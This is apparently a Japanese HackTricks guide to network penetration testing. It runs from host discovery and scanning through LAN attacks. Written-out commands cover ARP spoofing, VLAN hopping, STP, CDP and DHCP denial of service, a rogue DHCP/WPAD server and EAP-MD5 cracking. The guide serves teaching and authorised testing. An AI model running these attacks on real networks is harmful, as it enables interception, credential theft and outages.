hacktricks/generic-methodologies-and-resources/pentesting-network/README.md

61 KiB
Raw Blame History

ペンテストネットワーク

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら

HackTricksをサポートする他の方法


バグバウンティのヒント: ハッカーによって作成されたプレミアム バグバウンティプラットフォーム Intigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

外部からホストを発見する

これはインターネットからIPが応答しているかを見つける方法についての簡単なセクションになります。
この状況では、いくつかのIPのスコープ(おそらく複数の範囲さえも)があり、どのIPが応答しているかを見つけるだけです。

ICMP

これはホストが起動しているかどうかを発見する最も簡単で速い方法です。
いくつかのICMPパケットを送信して応答を期待することができます。最も簡単な方法は、エコーリクエストを送信して応答を期待することです。単純なpingを使用するか、範囲用にfpingを使用することができます。
他の種類のICMPパケットを送信するためにnmapを使用することもできますこれにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP ポートの発見

すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、オープンなポートを見つけようとすることです。各ホストには65535個のポートがありますので、もし「大規模な」スコープを持っている場合、各ホストの各ポートがオープンしているかどうかをテストすることはできません。それには時間がかかりすぎます。
そのため、必要なものは高速なポートスキャナーmasscan)とよく使用されるポートのリストです:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

HTTP ポートの発見

これは、HTTP サービスの発見に焦点を当てた、便利な TCP ポートの発見です。

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDPポートの発見

また、ホストにより注意を払うべきかどうかを判断するために、UDPポートが開いているかどうかをチェックすることもできます。通常、UDPサービスは通常の空のUDPプローブパケットに対して データを返さないため、ポートがフィルタリングされているか開いているかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、実行中のサービスがわからないため、ポート番号に基づいて最もありそうなものを試す必要があります。

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

前に提案されたnmapの行は、/24の範囲内のすべてのホストで上位1000のUDPポートをテストしますが、これだけでも20分以上かかります。最速の結果が必要な場合は、udp-proto-scannerを使用できます:./udp-proto-scanner.pl 199.66.11.53/24 これにより、これらのUDPプローブがそれらの期待されるポートに送信されます(/24の範囲では1分で完了しますDNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp。

SCTPポートの発見

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Wifiの侵入テスト

ここでは、執筞時点でよく知られているWifi攻撃の素晴らしいガイドを見つけることができます

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

内部からホストを発見する

ネットワーク内部にいる場合、最初に行いたいことの1つは他のホストを発見することです。どれだけノイズを出すことができるか/したいかに応じて、異なるアクションを実行できます:

パッシブ

これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Active

外部からホストを発見する方法でコメントされているテクニックは、ここでも適用できます
ただし、他のホストと同じネットワークにいるため、さらに多くのことができます:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Active ICMP

外部からホストを発見する でコメントされている技術(ICMP)は、ここでも適用できます
ただし、他のホストと同じネットワークにいるため、さらに多くのことができます:

  • サブネットブロードキャストアドレスpingを送信すると、各ホストにpingが到達し、彼らが応答する可能性があります: ping -b 10.10.5.255
  • ネットワークブロードキャストアドレスにpingを送信すると、他のサブネット内のホストを見つけることさえできます: ping -b 255.255.255.255
  • nmap-PE-PP-PMフラグを使用して、それぞれICMPv4 echoタイムスタンプサブネットマスクリクエストを送信してホストの検出を実行します: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lanは、ネットワークメッセージを介してコンピューターを起動するために使用されます。コンピューターを起動するために使用されるマジックパケットは、MAC Dstが提供され、その後、同じパケット内で16回繰り返されるパケットだけです。
その後、この種のパケットは通常、イーサネット0x0842またはポート9へのUDPパケットで送信されます。
[MAC]が提供されない場合、パケットはブロードキャストイーサネットに送信されますブロードキャストMACが繰り返されるMACになります

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

ホストのスキャン

IPアドレス外部または内部をすべて発見したら、詳細にスキャンしたい場合、さまざまなアクションを実行できます。

TCP

  • オープンポート: SYN --> SYN/ACK --> RST
  • クローズドポート: SYN --> RST/ACK
  • フィルターされたポート: SYN --> [NO RESPONSE]
  • フィルターされたポート: SYN --> ICMPメッセージ
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

UDPポートをスキャンするための2つのオプションがあります

  • ポートが閉じている場合は、UDPパケットを送信し、応答としてICMP unreachableをチェックしますいくつかのケースではICMPがフィルタリングされているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。
  • フォーマットされたデータグラムを送信して、サービスDNS、DHCP、TFTPなど、_nmap-payloads_にリストされているから応答を引き出します。応答を受信した場合、ポートは開いています

Nmapは"-sV"を使用して両方のオプションを組み合わせますUDPスキャンは非常に遅いです、ただしUDPスキャンはTCPスキャンよりも遅いことに注意してください

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTPスキャン

**SCTPStream Control Transmission Protocol**は、**TCPTransmission Control ProtocolおよびUDPUser Datagram Protocol**と併用するように設計されています。その主な目的は、**Signaling System 7SS7**で見られる信頼性の機能の多くを反映しながら、IPネットワーク上での電話データの輸送を容易にすることです。SCTPは、SIGTRANプロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。

SCTPのサポートは、IBM AIXOracle SolarisHP-UXLinuxCisco IOSVxWorksなど、さまざまなオペレーティングシステムによって提供されており、その広範な受容と通信およびネットワーキング分野での有用性が示されています。

nmapによって提供されるSCTPの2つの異なるスキャンオプションは、-sY_と-sZ_です。

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDSおよびIPS回避

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

さらなるnmapオプション

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

内部IPアドレスの特定

設定ミスのルーター、ファイアウォール、およびネットワークデバイス は、時々 非公開ソースアドレス を使用してネットワークプローブに応答します。tcpdump を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、eth2インターフェース でパケットをキャプチャできます。このインターフェースは、インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、このようなパケットはおそらくフィルタリングされますので、注意が必要です。

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

スニッフィング

スニッフィングを行うと、キャプチャされたフレームやパケットを確認することで、IPレンジ、サブネットサイズ、MACアドレス、ホスト名の詳細を把握できます。ネットワークが誤って構成されているか、スイッチングファブリックがストレス下にある場合、攻撃者は受動的なネットワークスニッフィングを通じて機密情報をキャプチャすることができます。

スイッチングされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとMACアドレス宛に送信されたデータのみが表示されます。

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Bettercapは、ネットワーク内の様々な攻撃を実行するための強力なツールです。ARPスプーフィング、SSLストリップ、DNS偽装などの攻撃を実行するために使用されます。Bettercapは、中間者攻撃やネットワークスニッフィングなどのテスト中に広く使用されています。

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

当然。

資格情報のキャプチャ

https://github.com/lgandx/PCredz のようなツールを使用して、pcap またはライブインターフェースから資格情報を解析できます。

LAN 攻撃

ARP スプーフィング

ARP スプーフィングは、機器のIPが自分のデバイスのMACアドレスであることを示すために不正なARP応答を送信することです。その後、被害者はARPテーブルを変更し、スプーフィングされたIPに接触したいときには常に当機器に接触します。

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Arpspoofは、ARPプロトコルを悪用して、ターゲットデバイスとゲートウェイの間の通信を傍受するために使用されます。

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAMオーバーフロー

異なるソースMACアドレスを持つ多くのパケットを送信して、スイッチのCAMテーブルをオーバーフローさせます。CAMテーブルがいっぱいになると、スイッチはハブのように振る舞い始めますすべてのトラフィックをブロードキャストします

macof -i <interface>

現代のスイッチでは、この脆弱性は修正されています。

802.1Q VLAN / DTP 攻撃

動的トランク

**動的トランクプロトコルDTP**は、トランクモード(トランク)または非トランクモードのポートを自動的に選択するための自動システムを容易にするために設計されたリンク層プロトコルです。 DTPの展開は、しばしばサブオプティマルなネットワーク設計の兆候と見なされ、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。

デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。 ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。 このアクションにより、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。

多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、すべてのVLANを通過するトラフィックにアクセスできます。 スクリプトdtpscan.shは、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを示し、VLANホッピング攻撃に対して免疫のある唯一の構成である後者を評価するために使用されます。 このツールは、スイッチの脆弱性ステータスを評価します。

ネットワークの脆弱性が特定された場合、_Yersinia_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからのパケットを観察できます。

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

VLANを列挙するためには、スクリプトDTPHijacking.pyを使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ有効です。5分後にトランクは切断されます。

sudo python3 DTPHijacking.py --interface eth0

私たちは、Access/Desirable (0x03) がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示していることを指摘したいと思います。そして、802.1Q/802.1Q (0xa5)802.1Q カプセル化タイプを示しています。

STPフレームを分析することで、VLAN 30とVLAN 60の存在を知ることができます。

特定のVLANへの攻撃

VLANのIDとIP値を知ったら、特定のVLANを攻撃するために仮想インターフェースを設定することができます。
DHCPが利用できない場合は、静的IPアドレスを設定するために ifconfig を使用してください。

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

自動VLANホッパー

ダイナミックトランキングと仮想インターフェースの作成、他のVLAN内のホストの発見という攻撃は、https://github.com/nccgroup/vlan-hopping---froggerというツールによって自動的に実行されます。

ダブルタギング

攻撃者が被害者ホストのMAC、IP、VLAN IDの値を知っている場合、指定されたVLANと被害者のVLANでフレームにダブルタグを付け、パケットを送信することができます。被害者は攻撃者に接続できないため、攻撃者の最良の選択肢はUDPを介して通信することです。これにより、SNMPのような興味深いアクションを実行できるプロトコルにアクセスできます。

攻撃者の別の選択肢は、攻撃者が制御するIPをスプーフィングし、被害者がアクセスできるおそらくインターネット経由でIPを使用してTCPポートスキャンを実行することです。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。

この攻撃を実行するには、scapyを使用できますpip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

レイテラルVLANセグメンテーションバイパス

直接接続されたスイッチにアクセス権がある場合、ネットワーク内でのVLANセグメンテーションをバイパスする能力があります。単純にポートをトランクモードトランクとも呼ばれるに切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを構成します。アドレスを動的にDHCP要求するか、静的に構成するかはケースによります。

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

レイヤー3 プライベートVLAN バイパス

特定の環境、例えばゲストワイヤレスネットワークでは、ポートアイソレーションプライベートVLANとも呼ばれる 設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防止しています。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットをルーターを介して他のクライアントに到達させることが可能です。

攻撃は、宛先クライアントのIPアドレスを持つパケットをルーターのMACアドレスで送信することによって実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。

攻撃の主なステップ:

  1. パケットの作成: ターゲットクライアントのIPアドレスを含む特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
  2. ルーターの動作の悪用: 作成されたパケットはルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。

VTP攻撃

VTPVLANトランキングプロトコルはVLAN管理を集約化します。リビジョン番号を使用してVLANデータベースの整合性を維持し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の構成を採用し、独自のVLANデータベースを更新します。

VTPドメインの役割

  • VTPサーバー: VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。
  • VTPクライアント: VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。
  • VTPトランスペアレント: VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。

VTP広告タイプ

  • サマリ広告: 重要なドメイン情報を含むVTPサーバーによって300秒ごとにブロードキャストされます。
  • サブセット広告: VLAN構成の変更後に送信されます。
  • 広告リクエスト: VTPクライアントがサマリ広告をリクエストするために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。

VTPの脆弱性はトランクポートを介してのみ悪用可能であり、VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオの後、VTPに向けられる可能性があります。YersiniaなどのツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。

注意: この議論はVTPバージョン1VTPv1に関連しています。

%% yersinia -G # Launch Yersinia in graphical mode ```

STP攻撃

インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃を成功させる可能性は低いです。

STP BPDU DoS

多くのBPDUs TCPTopology Change NotificationまたはConfトポロジが作成されたときに送信されるBPDUsを送信すると、スイッチが過負荷となり正常に動作しなくなります。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されますまたは15秒ごとにし、再起動されると、スイッチはハブのように動作します。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

攻撃者は、スイッチの振る舞いをシミュレートしてネットワークのSTPルートになります。その後、より多くのデータが彼を通過します。これは、2つの異なるスイッチに接続されている場合に興味深いです。
これは、優先度値が実際のルートスイッチの優先度よりも低いということを示すBPDUs CONFパケットを送信することで行われます。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由するようになりますMITM攻撃が実行されます

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP攻撃

CISCO Discovery ProtocolCDPは、CISCOデバイス間の通信に不可欠であり、お互いを識別し構成の詳細を共有することができます。

パッシブデータ収集

CDPはすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、Wiresharktcpdump、またはYersiniaなどのネットワークスニッファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。

CDPテーブルフラッディングの誘発

より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否DoS攻撃を実行することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

攻撃中、スイッチのCPUとCDP隣接テーブルが重く負荷され、しばしば**「ネットワーク麻痺」**と呼ばれる状態に至る。

CDPなりすまし攻撃

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

scapyも使用できます。scapy/contribパッケージをインストールしてください。

VoIP攻撃とVoIP Hopperツール

IoTデバイスと統合されることが増えているVoIP電話は、特別な電話番号を介してドアの解除や温度調節器の制御などの機能を提供します。ただし、この統合はセキュリティリスクを引き起こす可能性があります。

ツールvoiphopperは、さまざまな環境Cisco、Avaya、Nortel、Alcatel-LucentでVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。

VoIP Hopperには、Cisco Discovery ProtocolCDPに対して3つのモードがあります

  1. スニッフモード-c 0ネットワークパケットを分析してVLAN IDを特定します。
  2. スプーフモード-c 1実際のVoIPデバイスのパケットを模倣するカスタムパケットを生成します。
  3. 事前作成パケットモードでスプーフ-c 2特定のCisco IP電話モデルと同一のパケットを送信します。

速度を重視する場合、3番目のモードが好ましいです。指定する必要があるものは次のとおりです

  • 攻撃者のネットワークインターフェース(-iパラメータ)。
  • エミュレートされるVoIPデバイスの名前-Eパラメータ、Ciscoの命名形式に従う必要がありますMACアドレスに続くSEP

企業環境では、既存のVoIPデバイスを模倣するために、次のような手順を踏むことがあります

  • 電話機のMACラベルを調査する。
  • モデル情報を表示するために電話機のディスプレイ設定をナビゲートする。
  • VoIPデバイスをートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。

3番目のモードでツールを実行するための例示コマンドは次のとおりです

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP攻撃

列挙

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

DHCPサーバーに対して実行できるDoSには2種類があります。最初の方法は、十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用することです。
この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能しますDiscover(コンピューター)--> Offer(サーバー)--> Request(コンピューター)--> ACK(サーバー))。たとえば、これはWifiネットワークでは不可能です。

DHCP DoSを実行する別の方法は、すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信することです。その後、サーバーは誰もがIPを使用し終わったと思うでしょう。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

より自動的な方法は、DHCPingツールを使用することです。

環境内のクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、合法的なサーバーを使い果たし、応答しなくなるようにすることができます。したがって、合法的なサーバーが再接続しようとすると、次の攻撃で言及されている悪意のある値を提供できます

悪意のある値を設定する

/usr/share/responder/DHCP.pyにあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定するのは効果が低いため、クライアントからのアウトバウンドトラフィックのみをキャプチャでき、実際のゲートウェイからの応答を見逃します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。

以下は、ローグDHCPサーバーを構成するためのコマンドオプションです

  • 当社のIPアドレスゲートウェイ広告-i 10.0.0.100を使用して、自分のマシンのIPをゲートウェイとして広告します。
  • ローカルDNSドメイン名:オプションで、-d example.orgを使用してローカルDNSドメイン名を設定します。
  • 元のルーター/ゲートウェイIP合法的なルーターやゲートウェイのIPアドレスを指定するには、-r 10.0.0.1を使用します。
  • プライマリDNSサーバーIPコントロールするローグDNSサーバーのIPアドレスを設定するには、-p 10.0.0.100を使用します。
  • セカンダリDNSサーバーIPオプションで、セカンダリDNSサーバーIPを設定するには、-s 10.0.0.1を使用します。
  • ローカルネットワークのネットマスク:ローカルネットワークのネットマスクを定義するには、-n 255.255.255.0を使用します。
  • DHCPトラフィック用のインターフェース特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、-I eth1を使用します。
  • WPAD構成アドレスWebトラフィックの傍受を支援するために、-w “http://10.0.0.100/wpad.dat”を使用してWPAD構成のアドレスを設定します。
  • デフォルトゲートウェイIPのスプーフィングデフォルトゲートウェイIPアドレスをスプーフィングするには、-Sを含めます。
  • すべてのDHCPリクエストに応答するサーバーがすべてのDHCPリクエストに応答するようにするには、-Rを含めますが、これはノイズが多く、検出される可能性があることに注意してください。

これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受できます。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP攻撃

以下は、802.1X実装に対して使用できる攻撃戦術のいくつかです:

  • EAPを介したアクティブな総当たりパスワードクラッキング
  • 不正なEAPコンテンツによるRADIUSサーバーへの攻撃 (exploits)
  • EAPメッセージのキャプチャとオフラインパスワードクラッキングEAP-MD5およびPEAP
  • EAP-MD5認証を強制してTLS証明書の検証をバイパスする
  • ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入する

攻撃者が被害者と認証サーバーの間にいる場合、認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャしようとすることができます。その後、以下を使用して総当たり攻撃を行うことができます

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) 攻撃

FHRPFirst Hop Redundancy Protocolは、ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを1つの論理デバイスに組み合わせることができ、信頼性を向上させ負荷を分散するのに役立ちます。

シスコシステムのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

ルーティング情報プロトコルRIPには、RIP、RIPv2、RIPngの3つのバージョンが存在します。RIPとRIPv2では、データグラムはUDPを使用してポート520に向かってピアに送信されますが、RIPngではデータグラムはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。 RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。

  • RIPとRIPv2: 通信はポート520上のUDPデータグラムを介して行われます。
  • RIPng: IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。

RIPv2はMD5認証をサポートしていますが、RIPngにはネイティブ認証が含まれず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。

EIGRP 攻撃

EIGRPEnhanced Interior Gateway Routing Protocolは動的ルーティングプロトコルです。認証がない場合やパッシブインターフェイスの構成がない場合、侵入者はEIGRPルーティングに干渉し、ルーティングテーブルの毒化を引き起こす可能性があります。さらに、EIGRPネットワークつまり、自律システムはフラットで、ゾーンに分割されていません攻撃者がルートを注入すると、このルートが自律EIGRPシステム全体に広がる可能性があります。

EIGRPシステムを攻撃するには、正当なEIGRPルーターとの隣接関係を確立する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。

FRRoutingを使用すると、BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーターを実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の正当なルーターを装うことができます。

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

